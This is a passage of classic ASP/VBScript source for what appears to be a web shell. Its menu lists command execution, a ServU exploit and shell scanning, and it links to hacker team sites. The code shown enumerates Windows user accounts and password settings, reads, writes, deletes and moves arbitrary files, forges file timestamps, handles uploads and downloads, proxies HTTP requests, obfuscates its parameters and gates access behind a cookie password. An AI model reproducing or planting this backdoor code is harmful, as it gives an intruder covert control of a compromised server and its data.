3268	<tr class="link">
3269			<td colspan="3">
3270				<a href="javascript:dosubmit('infoAboutSrv','','');">Server Info</a> | 
3271				<a href="javascript:dosubmit('objOnSrv','','');">Object Info</a> | 
3272				<a href="javascript:dosubmit('userList','','');">User Info</a> | 
3273				<a href="javascript:dosubmit('CSInfo','','');">C-S Info</a> | 
3274				<a href="javascript:dosubmit('WsCmdRun','','');">WS Execute</a> | 
3275				<a href="javascript:dosubmit('FsoFileExplorer','','');">FSO File</a> | 
3276				<a href="javascript:dosubmit('SaFileExplorer','','');">App File</a> | 
3277				<a href="javascript:dosubmit('MsDataBase','','');">DataBase</a> | 
3278				<a href="javascript:dosubmit('AddToMdb','','');">File Packager</a> | 
3279				<a href="javascript:dosubmit('TxtSearcher','','');">File Searcher</a> | 
3280				<a href="javascript:dosubmit('ServUp','','');">ServU Exp</a> | 
3281				<a href="javascript:dosubmit('ScanShell','','');">Scan Shells</a> | 
3282				<a href="javascript:dosubmit('OtherTools','','');">Some Others...</a> | 
3283				<a href="javascript:dosubmit('Logout','','');">Logout</a> | 
3284				<a href="javascript:decpams();">Decode</a>
3285			</td>
3286	</tr>
3287<%
3288		End If
3289%></table><div class="main"><br>
3290<%
3291		echo"<b>"
3292		doFont strTitle&"&raquo;","#0099ff","2"
3293		echoLine"</b><br><br>"
3294	End Sub
3295	Sub show404()
3296		Dim sitedir
3297		sitedir=getLeft(getServerVariable("PATH_INFO"),"/",False)
3298		echo xmlGet("http://"&serverName&sitedir&"/"&fToPre&"?"&getServerVariable("QUERY_STRING"),"GET")
3299		Response.status=objXml.status
3300		response.End
3301	End Sub
3302	Sub getObjInfo(strObjInfo,strDscInfo)
3303		Dim objTmp
3304		If Not isDebugMode Then On Error Resume Next
3305		echo"<li><u>"&strObjInfo
3306		If strDscInfo<>""Then
3307			echo"(Object "&strDscInfo&")"
3308		End If
3309		echo"</u>"
3310		If Err Then Err.Clear
3311		Set objTmp=CreateObj(strObjInfo)
3312		If Err Then
3313			doFont htmlEnc("Disabled"),"red",""
3314		Else
3315			doFont htmlEnc("Enabled  "),"green",""
3316			echo"Version:"&objTmp.Version&";"
3317			echo"About:"&objTmp.About
3318		End If
3319		echo"</li>"
3320		If Err Then Err.Clear
3321		Set objTmp=Nothing
3322	End Sub
3323	Sub showUserInfo(strUser)
3324		Dim User,Flags,lastlog
3325		If Not isDebugMode Then On Error Resume Next
3326		Set User=getObj("WinNT://./"&strUser&",user")
3327		Flags=User.Get("UserFlags")
3328		lastlog=User.LastLogin
3329		doTr 0
3330		doTd"Description","20%"
3331		doTd User.Description,"80%"
3332		doTtr
3333		doTr 1
3334		doTd"Belong to",""
3335		doTd getItsGroup(strUser),""
3336		doTtr
3337		doTr 0
3338		doTd"Password expired","20%"
3339		doTd CBool(User.Get("PasswordExpired")),"80%"
3340		doTtr
3341		doTr 1
3342		doTd"Password never expire",""
3343		doTd cbool(Flags And&H10000),""
3344		doTtr
3345		doTr 0
3346		doTd"Can't change password",""
3347		doTd cbool(Flags And&H00040),""
3348		doTtr
3349		doTr 1
3350		doTd"Global-group account",""
3351		doTd cbool(Flags And&H100),""
3352		doTtr
3353		doTr 0
3354		doTd"Password length at least",""
3355		doTd User.PasswordMinimumLength,""
3356		doTtr
3357		doTr 1
3358		doTd"Password required",""
3359		doTd User.PasswordRequired,""
3360		doTtr
3361		doTr 0
3362		doTd"Account disabled",""
3363		doTd User.AccountDisabled,""
3364		doTtr
3365		doTr 1
3366		doTd"Account locked",""
3367		doTd User.IsAccountLocked,""
3368		doTtr
3369		doTr 0
3370		doTd"User profile",""
3371		doTd User.Profile,""
3372		doTtr
3373		doTr 1
3374		doTd"User loginscript",""
3375		doTd User.LoginScript,""
3376		doTtr
3377		doTr 0
3378		doTd"Home directory",""
3379		doTd User.HomeDirectory,""
3380		doTtr
3381		doTr 1
3382		doTd"Home drive",""
3383		doTd User.Get("HomeDirDrive"),""
3384		doTtr
3385		doTr 0
3386		doTd"Last login",""
3387		doTd lastlog,""
3388		doTtr
3389		If Err Then Err.Clear
3390	End Sub
3391	Function getItsGroup(strUser)
3392		Dim objUser,objGroup
3393		Set objUser=getObj("WinNT://./"&strUser&",user")
3394		For Each objGroup in objUser.Groups
3395			getItsGroup=getItsGroup&" "&objGroup.Name
3396		Next
3397	End Function
3398	Function FsoRead(thePath)
3399		Set objCountFile=objFso.OpenTextFile(thePath,1,True)
3400		FsoRead=Replace(objCountFile.ReadAll,Chr(0)," ")
3401		objCountFile.Close
3402		Set objCountFile=Nothing
3403	End Function
3404	Function streamLoadFromFile(thePath)
3405		If Not isDebugMode Then On Error Resume Next
3406		Set objStream=CreateObj("Adodb.Stream")
3407		With objStream
3408			.Type=2
3409			.Mode=3
3410			.Open
3411			.LoadFromFile thePath
3412			If subAct="utfEdit" Then
3413				.CharSet="utf-8"
3414			Else
3415				.CharSet=defaultChr
3416			End If
3417			.Position=2
3418			streamLoadFromFile=Replace(.ReadText(),Chr(0)," ")
3419			.Close
3420		End With
3421		Set objStream=Nothing
3422	End Function
3423	Sub streamSaveToFile(thePath,fileContent,stype)
3424		If Not isDebugMode Then On Error Resume Next
3425		Set objStream=CreateObj("Adodb.Stream")
3426		With objStream
3427			.Type=stype
3428			.Mode=3
3429			.Open
3430			If subAct="utfSave"Then
3431				.CharSet="utf-8"
3432			ElseIf subAct="Save"Then
3433				.CharSet=defaultChr
3434			End If
3435			If stype=2 Then
3436				.WriteText fileContent
3437			Else
3438				.Write fileContent
3439			End If
3440			objStream.SavetoFile thePath,2
3441			.Close
3442		End With
3443		Set objStream=Nothing
3444	End Sub
3445	Sub fsoSaveToFile(thePath,fileContent)
3446		Dim theFile
3447		Set theFile=objFso.OpenTextFile(thePath,2,True)
3448		theFile.Write fileContent
3449		theFile.Close
3450		Set theFile=Nothing
3451	End Sub
3452	Sub newOne()
3453		If Not isDebugMode Then On Error Resume Next
3454		If newOneType="file"Then
3455			thePath=thePath&"\"&newOneName
3456			Call objFso.CreateTextFile(thePath,False)
3457			showEdit
3458		Else
3459			objFso.CreateFolder(thePath&"\"&newOneName)
3460		End If
3461		If Err Then
3462			chkerr(Err)
3463		Else
3464			errMsgAdd"File/folder created"
3465		End If
3466	End Sub
3467	Sub renameOne()
3468		Dim tagName,objFolder,parPath,oriName
3469		If Not isDebugMode Then On Error Resume Next
3470		thePath=getLeft(pubPam,"|",False)
3471		tagName=getRight(pubPam,"|")
3472		If InStr(thePath,"\")<1 Then thePath=thePath&"\"
3473		Dim theFile,fileName,theFolder
3474		If thePath=""Or tagName=""Then
3475			errMsgAdd"Parameter wrong!"
3476			Exit Sub
3477		End If
3478		If strFileMethod="fso"Then
3479			If subAct="renamefolder"Then
3480				Set theFolder=objFso.GetFolder(thePath)
3481				theFolder.Name=tagName
3482				Set theFolder=Nothing
3483			Else
3484				Set theFile=objFso.GetFile(thePath)
3485				theFile.Name=tagName
3486				Set theFile=Nothing
3487			End If
3488		Else
3489			oriName=getRight(thePath,"\")
3490			parPath=getLeft(thePath,"\",False)
3491			Set objFolder=objSa.NameSpace(parPath)
3492			Set objItem=objFolder.ParseName(oriName)
3493			objItem.Name=tagName
3494		End If
3495		If Err Then
3496			chkerr(Err)
3497		Else
3498			errMsgAdd"Rename completed"
3499		End If
3500	End Sub
3501	Sub delOne()
3502		If Not isDebugMode Then On Error Resume Next
3503		If subAct="delFolder"Then
3504			Call objFso.DeleteFolder(thePath,True)
3505		Else
3506			Call objFso.DeleteFile(thePath,True)
3507		End If
3508		If Len(thePath)=2 Then thePath=thePath&"\"
3509		If Err Then
3510			chkerr(Err)
3511		Else
3512			errMsgAdd"File/folder deleted"
3513		End If
3514	End Sub
3515	Sub moveCopyOne()
3516		Dim oriPath,tagPath,objTargetFolder,objOriPath,objSa2
3517		If Not isDebugMode Then On Error Resume Next
3518		thePath=Left(pubPam,Instr(pubPam,"|")-1)
3519		tagPath=Mid(pubPam,InStr(pubPam,"|")+1)
3520		If thePath=""Or tagPath=""Then
3521			errMsgAdd"Parameter wrong!"
3522			Exit Sub
3523		End If
3524		Select Case subAct
3525			Case"cpFolder"
3526				Call objFso.CopyFolder(thePath,tagPath)
3527			Case"cpFile"
3528				Call objFso.CopyFile(thePath,tagPath)
3529			Case"mvFolder"
3530				Call objFso.MoveFolder(thePath,tagPath)
3531			Case"mvFile"
3532				echo thePath&"||"&tagPath
3533				Call objFso.MoveFile(thePath,tagPath)
3534		End Select
3535		If Err Then
3536			chkerr(Err)
3537		Else
3538			errMsgAdd"File/folder copyed/moved"
3539		End If
3540	End Sub
3541	Sub modIfyTime()
3542		Dim oItem,fileToModIfy,newDate,oFolder
3543		If Not isDebugMode Then On Error Resume Next
3544		thePath=Left(pubPam,Instr(pubPam,"|")-1)
3545		If Right(thePath,1)="\"And Len(thePath)>3 Then thePath=Left(thePath,Len(thePath)-1)
3546		fileToModIfy=getRight(thePath,"\")
3547		newDate=Mid(pubPam,Instr(pubPam,"|")+1)
3548		thePath=getLeft(thePath,"\",False)
3549		Set oFolder=objSa.NameSpace(thePath)
3550		Set oItem=oFolder.ParseName(fileToModIfy)
3551		If newDate<>""Then
3552			If IsDate(newDate) Then oItem.ModIfyDate=newDate
3553		End If
3554		If Err Then
3555			chkerr(Err)
3556		Else
3557			errMsgAdd"Time modIffied"
3558		End If
3559		Set oItem=Nothing
3560		Set oFolder=Nothing
3561	End Sub
3562	Sub downTheFile()
3563		Response.Clear
3564		If Not isDebugMode Then On Error Resume Next
3565		Dim fileName,fileContentType
3566
3567		fileName=getRight(thePath,"\")
3568		Set objStream=CreateObj("Adodb.Stream")
3569		objStream.Open
3570		objStream.Type=1
3571		objStream.LoadFromFile(thePath)
3572		chkerr(Err)
3573		Session.CodePage=936
3574		Response.AddHeader"Content-Disposition","Attachment; Filename="&fileName
3575		Session.CodePage=65001
3576		Response.AddHeader"Content-Length",objStream.Size
3577		Response.ContentType="Application/Octet-Stream"
3578		Response.BinaryWrite objStream.Read
3579		Response.Flush()
3580		objStream.Close
3581		Set objStream=Nothing
3582	End Sub
3583	Class upload_5xsoft	
3584		Dim objForm,objFile
3585		Public Function Form(strForm)
3586			strForm=Lcase(strForm)
3587			If Not objForm.exists(strForm) Then
3588				Form=""
3589			Else
3590				Form=objForm(strForm)
3591			End If
3592		End Function
3593		Public Function File(strFile)
3594			If Not isDebugMode Then On Error Resume Next
3595			strFile=Lcase(strFile)
3596			If not objFile.exists(strFile) Then
3597				Set File=new FileInfo
3598			Else
3599				Set File=objFile(strFile)
3600			End If
3601		End Function
3602		Private Sub Class_Initialize
3603			If Not isDebugMode Then On Error Resume Next
3604			Dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
3605			Dim IfileSize,sFilePath,sFileType,sFormValue,sFileName
3606			Dim IfindStart,IfindEnd
3607			Dim IformStart,IformEnd,sFormName
3608			Set objForm=CreateObj("Scripting.Dictionary")
3609			Set objFile=CreateObj("Scripting.Dictionary")
3610			If Request.TotalBytes<1 Then Exit Sub
3611			Set tStream=CreateObj("adodb.stream")
3612			Set objStream=CreateObj("adodb.stream")
3613			objStream.Type=1
3614			objStream.Mode=3
3615			objStream.Open
3616			objStream.Write Request.BinaryRead(Request.TotalBytes)
3617			objStream.Position=0
3618			RequestData=objStream.Read
3619			IformStart=1
3620			IformEnd=LenB(RequestData)
3621			vbCrlf=chrB(13)&chrB(10)
3622			sStart=MidB(RequestData,1,InStrB(IformStart,RequestData,vbCrlf)-1)
3623			iStart=LenB(sStart)
3624			IformStart=IformStart+iStart+1
3625			While(IformStart+10)<IformEnd 
3626			iInfoEnd=InStrB(IformStart,RequestData,vbCrlf & vbCrlf)+3
3627			tStream.Type=1
3628			tStream.Mode=3
3629			tStream.Open
3630			objStream.Position=IformStart
3631			objStream.CopyTo tStream,iInfoEnd-IformStart
3632			tStream.Position=0
3633			tStream.Type=2
3634			tStream.CharSet="gb2312"
3635			sInfo=tStream.ReadText
3636			tStream.Close
3637			IformStart=InStrB(iInfoEnd,RequestData,sStart)
3638			IfindStart=InStr(22,sInfo,"name=""",1)+6
3639			IfindEnd=InStr(IfindStart,sInfo,"""",1)
3640			sFormName=Lcase(Mid(sinfo,IfindStart,IfindEnd-IfindStart))
3641			If InStr(45,sInfo,"filename=""",1) > 0 Then
3642				Set theFile=new FileInfo
3643				IfindStart=InStr(IfindEnd,sInfo,"filename=""",1)+10
3644				IfindEnd=InStr(IfindStart,sInfo,"""",1)
3645				sFileName=Mid(sinfo,IfindStart,IfindEnd-IfindStart)
3646				theFile.FileName=getFileName(sFileName)
3647				theFile.FilePath=getFilePath(sFileName)
3648				theFile.FileExt=GetFileExt(sFileName)
3649				IfindStart=InStr(IfindEnd,sInfo,"Content-Type: ",1)+14
3650				IfindEnd=InStr(IfindStart,sInfo,vbCr)
3651				theFile.FileType =Mid(sinfo,IfindStart,IfindEnd-IfindStart)
3652				theFile.FileStart =iInfoEnd
3653				theFile.FileSize=IformStart-iInfoEnd-3
3654				theFile.FormName=sFormName
3655				If not objFile.Exists(sFormName)Then
3656					objFile.add sFormName,theFile
3657				End If
3658			Else
3659				tStream.Type =1
3660				tStream.Mode =3
3661				tStream.Open
3662				objStream.Position=iInfoEnd 
3663				objStream.CopyTo tStream,IformStart-iInfoEnd-3
3664				tStream.Position=0
3665				tStream.Type=2
3666				tStream.CharSet ="gb2312"
3667							sFormValue=tStream.ReadText 
3668							tStream.Close
3669				If objForm.Exists(sFormName) Then
3670					objForm(sFormName)=objForm(sFormName)&","&sFormValue			
3671				Else
3672					objForm.Add sFormName,sFormValue
3673				End If
3674			End If
3675			IformStart=IformStart+iStart+1
3676			wEnd
3677			RequestData=""
3678			Set tStream =nothing
3679		End Sub
3680		Private Sub Class_Terminate
3681			If Not isDebugMode Then On Error Resume Next
3682			If Request.TotalBytes>0 Then
3683			objForm.RemoveAll
3684			objFile.RemoveAll
3685			Set objForm=nothing
3686			Set objFile=nothing
3687			objStream.Close
3688			Set objStream =nothing
3689		End If
3690		End Sub
3691		Private Function GetFilePath(FullPath)
3692			If Not isDebugMode Then On Error Resume Next
3693			If FullPath<>"" Then
3694			GetFilePath=left(FullPath,InStrRev(FullPath,"\"))
3695			Else
3696			GetFilePath=""
3697			End If
3698		End Function
3699		Private Function GetFileExt(FullPath)
3700			If FullPath<>"" Then
3701				GetFileExt=mid(FullPath,InStrRev(FullPath,".")+1)
3702			Else
3703				GetFileExt=""
3704			End If
3705		End Function	
3706		Private Function GetFileName(FullPath)
3707			If FullPath<>"" Then
3708				GetFileName=mid(FullPath,InStrRev(FullPath,"\")+1)
3709			Else
3710				GetFileName=""
3711			End If
3712		End Function
3713	End Class
3714
3715	Class FileInfo
3716		Dim FormName,FileName,FilePath,FileSize,FileExt,FileType,FileStart
3717		Private Sub Class_Initialize 
3718			FileName=""
3719			FilePath=""
3720			FileSize=0
3721			FileStart= 0
3722			FormName=""
3723			FileType=""
3724			FileExt	= ""
3725		End Sub	
3726		Public Function SaveAs(FullPath)
3727			Dim dr,ErrorChar,i
3728			SaveAs=True
3729			If Trim(fullpath)="" or FileStart=0 or FileName="" or Right(fullpath,1)="/" Then exit Function
3730			Set dr=CreateObject("Adodb.Stream")
3731			dr.Mode=3
3732			dr.Type=1
3733			dr.Open
3734			objStream.position=FileStart
3735			objStream.copyto dr,FileSize
3736			dr.SaveToFile FullPath,2
3737			dr.Close
3738			Set dr=nothing 
3739			SaveAs=False
3740		End Function
3741		Public Function InFile()
3742			objStream.position=FileStart
3743			InFile=objStream.Read(FileSize)
3744		End Function
3745	End Class
3746	Sub streamUpload()
3747		If Not isDebugMode Then On Error Resume Next
3748		If thePath="" Then thePath=aspPath
3749		If InStr(thePath,":")<1 Then thePath=aspPath&"\"&thePath
3750		Set theFile=cls_upload.File("upfile")
3751		If destName="" Then destName=theFile.FileName
3752		theFile.SaveAs(thePath&"\"&destName)
3753		If Err Then
3754			chkerr(Err)
3755		Else
3756			errMsgAdd("Upload Sucess")
3757		End If
3758	End Sub
3759
3760	Function xmlGet(strUrl,method)
3761		If Not isDebugMode Then On Error Resume Next
3762		Dim pams
3763		If method="POST" Then
3764			pams=Split(strUrl,"?")(1)
3765			strUrl=Split(strUrl,"?")(0)
3766		End If
3767		objXml.Open method,strUrl,False
3768		If method="POST" Then
3769			objXml.SetRequestHeader"Content-Type","application/x-www-form-urlencoded"
3770			objXml.send pams
3771		Else
3772			objXml.send
3773		End If
3774		If regTest(objXml.getAllResponseHeaders(),"charSet ?= ?[""']?[\w-]+")Then
3775			pagecharSet=Trim(regReplace(regExecute(objXml.getAllResponseHeaders(),"charSet ?= ?[""']?[\w-]+",False)(0),"charSet ?= ?[""']?","",False))
3776		ElseIf regTest(objXml.ResponseText,"charSet ?= ?[""']?[\w-]+")Then
3777			pagecharSet=Trim(regReplace(regExecute(objXml.ResponseText,"charSet ?= ?[""']?[\w-]+",False)(0),"charSet ?= ?[""']?","",False))
3778		End If
3779		If pagecharSet=""Then pagecharSet=defaultChr
3780		xmlGet=bin2str2(objXml.responseBody,pagecharSet)
3781	End Function
3782	Function isIn()
3783		If Request.Cookies(cookiePass)=""Then
3784			isIn=False
3785			Exit Function
3786		End If
3787		If CFSEncode(Request.Cookies(cookiePass))=pass Then
3788			isIn=True
3789		Else
3790			isIn=False
3791		End If
3792	End Function
3793	Function secretEncode(pamToEn)
3794		If Not needEncode Or pamToEn=""Then
3795			secretEncode=pamToEn
3796			Exit Function
3797		End If
3798		Dim tt,tmpchr
3799		tt=""
3800		For i=1 To Len(pamToEn)
3801			tmpchr=Mid(pamToEn,i,1)
3802			If Asc(tmpchr)<128 And Asc(tmpchr)>0 Then
3803				tt=tt&Asc(tmpchr)+encodeNum&encodeCut
3804			Else
3805				tt=tt&tmpchr&encodeCut
3806			End If
3807		Next
3808		secretEncode=Left(tt,Len(tt)-1)
3809	End Function
3810	Function secretDecode(pamToDecode)
3811		If Not needEncode Or pamToDecode="" Or Not regTest(pamToDecode,"^((\d+|.)"&encodeCut&")+(\d+|.)$")Then
3812			secretDecode=pamToDecode
3813			Exit Function
3814		End If
3815		Dim dd,tmpArr
3816		dd=""
3817		tmpArr=Split(pamToDecode,encodeCut)
3818		For i=0 To UBound(tmpArr)
3819			If IsNumeric(tmpArr(i))Then
3820				dd=dd&Chr(CInt(tmpArr(i))-encodeNum)
3821			Else
3822				dd=dd&tmpArr(i)
3823			End If
3824		Next
3825		secretDecode=dd
3826	End Function
3827	Function getADS()
3828		Dim ADSstr,gwidth,gheight
3829		gwidth=88
3830		gheight=31
3831		ADSstr="<br>"
3832		ADSstr=ADSstr&"<a href='http://www.vtwo.cn/' target='_blank'>Bink Team</a> | "
3833		ADSstr=ADSstr&"<a href='http://0kee.com/' target='_blank'>0kee Team</a> | "
3834		ADSstr=ADSstr&"<a href='http://www.t00ls.net/' target='_blank'>T00ls</a> | "
3835		ADSstr=ADSstr&"<a href='http://www.helpsoff.com.cn' target='_blank'>Fuck Tencent</a>"
3836		getADS=ADSstr
3837	End Function
3838	Function bin2str2(binstr,strcharSet)
3839		If Not isDebugMode Then On Error Resume Next
3840		Dim BytesStream,StringReturn
3841		Set BytesStream=CreateObj("Adodb.Stream")
3842		With BytesStream
3843			.Type=2
3844			.Open
3845			.WriteText binstr
3846			.Position=0
3847			.CharSet=strcharSet
3848			.Position=2
3849			StringReturn=.ReadText(.Size)
3850			.close
3851		End With
3852		Set BytesStream=Nothing
3853		bin2str2=StringReturn
3854	End Function
3855	Function getServerVariable(str)
3856		getServerVariable=Request.ServerVariables(str)
3857	End Function
3858	Function CreateObj(strObj)
3859		Set CreateObj=Server.CreateObject(strObj)
3860	End Function
3861	Function getObj(strObj)
3862		Set getObj=GetObject(strObj)
3863	End Function
3864	Function UrlEnc(str)
3865		UrlEnc=server.urlencode(str)
3866	End Function
3867	Function getHex(str)
3868		Dim tmphex,tmpstr
3869		tmphex=""
3870		For i=0 To Len(str)-1
3871			tmpstr=Right(str,Len(str)-i)
3872			If Asc(tmpstr)<16 Then tmphex=tmphex&"0"
3873			tmphex=tmphex&CStr(Hex(Asc(tmpstr)))
3874		Next
3875	getHex="0x"&tmphex
3876	End Function
3877	Function getUtf(str)
3878		Dim tmphex,tmpstr
3879		tmphex=""
3880		For i=0 To Len(str)-1
3881			tmpstr=Right(str,Len(str)-i)
3882			tmphex=tmphex&CStr(Hex(Asc(tmpstr)))&"00"
3883		Next
3884	getUtf="0x"&tmphex
3885	End Function
3886	Function htmlEnc(str)
3887		str=textEncode(str)
3888		str=Replace(str,Chr(13)&Chr(10),"<br>")
3889		htmlEnc=Replace(str," ","&nbsp;")
3890	End Function
3891	Function textEncode(str)
3892		If Not isDebugMode Then On Error Resume Next
3893		str=CStr(str)
3894		If IsNull(str)Or str=""Then
3895			textEncode=""
3896			Exit Function
3897		End If
3898		textEncode=Server.HtmlEncode(str)
3899	End Function
3900	Function mapath(str)
3901		mapath=Server.MapPath(str)
3902	End Function
3903	Sub chkerr(Err)
3904		If Err Then
3905			errMsgAdd"Exception :"&Err.Description
3906			errMsgAdd"Exception source :"&Err.Source
3907			Err.Clear
3908		End If
3909	End Sub
3910	Function CfsEnCode(ByVal CodeStr) 
3911		Dim CodeLen 
3912		Dim CodeSpace 
3913		Dim NewCode 
3914		CodeLen=30 
3915		CodeSpace=CodeLen-Len(CodeStr) 
3916		If Not CodeSpace<1 Then 
3917			For cecr=1 To CodeSpace 
3918				CodeStr=CodeStr&Chr(21) 
3919			Next 
3920		End If 
3921		NewCode=1 
3922		Dim Ben 
3923		For cecb=1 To CodeLen 
3924			Ben=CodeLen+Asc(Mid(CodeStr,cecb,1)) * cecb 
3925			NewCode=NewCode * Ben 
3926		Next 
3927		CodeStr=NewCode 
3928		NewCode=Empty 
3929		For cec=1 To Len(CodeStr) 
3930			NewCode=NewCode&CfsCode(Mid(CodeStr,cec,3)) 
3931		Next 
3932		For cec=20 To Len(NewCode)-18 Step 2 
3933			CfsEnCode=CfsEnCode&Mid(NewCode,cec,1) 
3934		Next 
3935	End Function 
3936
3937	Function CfsCode(word) 
3938		For cc=1 To Len(word) 
3939			CfsCode=CfsCode&Asc(Mid(word,cc,1)) 
3940		Next 
3941		CfsCode=Hex(CfsCode) 
3942	End Function 
3943	Function getTheSize(theSize)
3944		If theSize>=(1024 * 1024 * 1024)Then getTheSize=Fix((theSize /(1024 * 1024 * 1024))* 100)/ 100&"G"
3945		If theSize>=(1024 * 1024)And theSize<(1024 * 1024 * 1024)Then getTheSize=Fix((theSize /(1024 * 1024))* 100)/ 100&"M"
3946		If theSize>=1024 And theSize<(1024 * 1024)Then getTheSize=Fix((theSize / 1024)* 100)/ 100&"K"
3947		If theSize>=0 And theSize<1024 Then getTheSize=theSize&"B"
3948	End Function
3949	Function getDriveType(num)
3950		Select Case num
3951			Case 0
3952				getDriveType="Unknown"
3953			Case 1
3954				getDriveType="Removable"
3955			Case 2
3956				getDriveType="Local drive"
3957			Case 3
3958				getDriveType="Net drive"
3959			Case 4
3960				getDriveType="CD-ROM"
3961			Case 5
3962				getDriveType="RAM disk"
3963		End Select
3964	End Function
3965	Function doPathFormat(ByVal str)
3966		str=Replace(str,"\","\\")
3967		doPathFormat=Replace(str,"\\\\","\\")
3968	End Function
3969	Function getJetStr(str)
3970		getJetStr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&str
3971	End Function
3972	Function getLeft(str,sign,fromLeft)
3973		If str="" Or InStr(str,sign)<1 Then
3974			getLeft=""
3975			Exit Function
3976		End If
3977		If fromLeft Then
3978			getLeft=Left(str,InStr(str,sign)-1)
3979		Else
3980			getLeft=Left(str,InstrRev(str,sign)-1)
3981		End If
3982	End Function
3983	Function getRight(str,sign)
3984		If str="" Or InStr(str,sign)<1 Then
3985			getRight=""
3986			Exit Function
3987		End If
3988		getRight=Mid(str,InstrRev(str,sign)+Len(sign))
3989	End Function
3990	Sub echo(str)
3991		Response.Write str
3992	End Sub
3993	Sub echoLine(str)
3994		echo str&vbCrLf
3995	End Sub
3996	Sub doShowHideMe(strObj,hideMe)
3997		echo"<a href='#' onClick=""javascript:showHideMe("&strObj&")"" id='"&strObj&"href' class='hidehref'>"&strObj&" :</a>"
3998		echo"<span id="&strObj
3999		If hideMe Then echo" style='display:none;'"
4000		echoLine">"
4001	End Sub
4002	Sub doSubHref(goact,subact,pamms,showStr,plus)
4003		echoLine"<a href=""javascript:dosubmit('"&goact&"','"&subact&"','"&pamms&"')"">"&showStr&"</a>"&plus
4004	End Sub
4005	Sub doSqlHref(subAct,connStr,queryStr,tbname,intPage,showStr,plus)
4006		echoLine"<a href=""javascript:dosqlsubmit('"&subAct&"','"&connStr&"','"&queryStr&"','"&tbname&"','"&intPage&"')"">"&showStr&"</a>"&plus
4007	End Sub
4008	Sub doFont(str,color,size)
4009		echo"<font color="""&color&""""
4010		If size<>""Then echo" size="""&size&""""
4011		echoLine">"&str&"</font>"
4012	End Sub
4013	Sub doTable(width)
4014		echoLine"<table width="""&width&"""border=""0""cellpadding=""0""cellspacing=""0"">"
4015	End Sub
4016	Sub doTtable()
4017		echoLine"</table>"
4018	End Sub
4019	Sub doTr(num)
4020		echo"<tr class='alt"&num&"' onmouseover=""javascript:this.className='focusTr';"" onmouseout=""javascript:this.className='alt"&num&"';"">"
4021	End Sub
4022	Sub doTh()
4023		echo"<tr class='link'>"
4024	End Sub
4025	Sub doSpan(num)
4026		echo"<span class='alt"&num&"Span'>"
4027	End Sub
4028	Sub doHideSpan(strObj,hideMe)
4029		echo"<span id="&strObj
4030		If hideMe Then echo" style='display:none;'"
4031		echoLine">"
4032	End Sub
4033	Sub doForm(needEn)
4034		echo"<form method=""post"" id=""form"&formId&""" action="""&pagePath&""""
4035		If needEn Then echo" onSubmit=""javascript:doEncode('form"&formId&"')"""
4036		echoLine">"
4037		doHidden"goaction",goaction
4038		formId=formId+1
4039	End Sub
4040	Sub doFform()
4041		echoLine"</form>"
4042	End Sub
4043	Sub doTdSubmit(value,width)
4044		echo"<td style=""width:"&width&""">"
4045		echo"<input type=""submit"" value="""&value&""" class=""bt"">"
4046		echoLine"</td>"
4047	End Sub
4048	Sub doTdFont(str,color,size)
4049		echo"<td>"
4050		doFont str,color,size
4051		echoLine"</td>"
4052	End Sub
4053	Sub doTtr()
4054		echoLine"</tr>"
4055	End Sub
4056	Sub doTd(td,width)
4057		If td=""Or IsNull(td)Then td="<font color=""red"">Null</font>"
4058		echo"<td"
4059		If width<>""Then echo" width='"&width&"'"
4060		echo">"
4061		echo CStr(td)
4062		echoLine"</td>"
4063	End Sub
4064	Sub doInput(typpe,name,value,size,plus)
4065		Dim cls
4066		If typpe="button"Or typpe="submit"Or typpe="reSet"Then
4067			cls="bt"
4068		Else
4069			cls="input"
4070		End If
4071		echo"<input type="""&typpe&""" name="""&name&""" id="""&name&""" value="""&textEncode(value)&""" size="""&size&""" class="""&cls&""" "&plus&"/>"
4072	End Sub
4073	Sub doChkBox(name,value,showname,plus)
4074		doInput"checkbox",name,value,"",plus
4075		echo"<label class=""lbl"" for="""&name&""">"&showname&"</label>"
4076	End Sub
4077	Sub doHidden(name,value)
4078		echoLine"<input type=""hidden"" name="""&name&""" id="""&name&""" value="""&value&""">"
4079	End Sub
4080	Sub doTdInput(typpe,name,value,width,plus,span)
4081		Dim cls
4082		If typpe="button"Or typpe="submit"Or typpe="reSet"Then
4083			cls="bt"
4084		Else
4085			cls="tdInput"
4086		End If
4087		If span=""Then span=1
4088		echo"<td colspan="&span&" style=""width:"&width&""">"
4089		echo"<input type="""&typpe&""" name="""&name&""" id="""&name&""" value="""&textEncode(value)&""" class="""&cls&""" "&plus&">"
4090		echoLine"</td>"
4091	End Sub
4092	Sub doSubmit(value)
4093		echoLine"<input type=""submit"" value="""&value&""" class=""bt"">"
4094	End Sub
4095	Sub doTdText(name,value,rows)
4096		echo"<td>"
4097		doTextarea name,value,"100%",rows," class=""tdText"""
4098		echoLine"</td>"
4099	End Sub
4100	Sub doTdNoWrap(str)
4101		If Not isDebugMode Then On Error Resume Next
4102		If IsObject(str)Or IsNull(str)Or str="" Then str="<font color=red>Null<font>"
4103		echo"<td nowrap>"&str&"</td>"
4104	End Sub
4105	Sub doTextarea(name,value,width,rows,plus)
4106		echo"<textarea name="""&name&""" id="""&name&""" style=""width:"&width&";"" rows="""&rows&""" class=""text"" "&plus&">"
4107		echo textEncode(value)
4108		echoLine"</textarea>"
4109	End Sub
4110	Sub doUl()
4111		echo"<ul class=""info"">"
4112	End Sub
4113	Sub doSelect(name,width,plus)
4114		echoLine"<select style=""width:"&width&""" name="""&name&""" "&plus&">"
4115	End Sub
4116	Sub doSselect()
4117		echoLine"</select>"
4118	End Sub
4119	Sub doOption(value,str)
4120		echoLine"<option value="""&value&""">"&str&"</option>"
4121	End Sub
4122	Sub trIdAdd()
4123		trId=trId+1
4124		If trId>=2 Then trId=0
4125	End Sub
4126	Sub doLabel(str)
4127		echoLine"<label>"&str&"</label>"
4128	End Sub
4129	Sub errMsgAdd(str)
4130		errMsg=errMsg&"<li>"&str&"</li>"
4131	End Sub
4132	Sub dieErr(Err)
4133		If Err Then
4134			chkerr(Err)
4135			doFin
4136		End If
4137	End Sub
4138	Function regTest(str,strPattern)
4139		objRe.Pattern=strPattern
4140		regTest=objRe.Test(str)
4141	End Function
4142	Function regExecute(str,strPattern,needFormat)
4143		If needFormat Then strPattern=regFormat(strPattern)
4144		objRe.Pattern=strPattern
4145		Set regExecute=objRe.Execute(str)
4146	End Function
4147	Function regReplace(str,strPattern,replaced,needFormat)
4148		If needFormat Then strPattern=regFormat(strPattern)
4149		objRe.Pattern=strPattern
4150		regReplace=objRe.Replace(str,replaced)
4151	End Function
4152	Function regFormat(str)
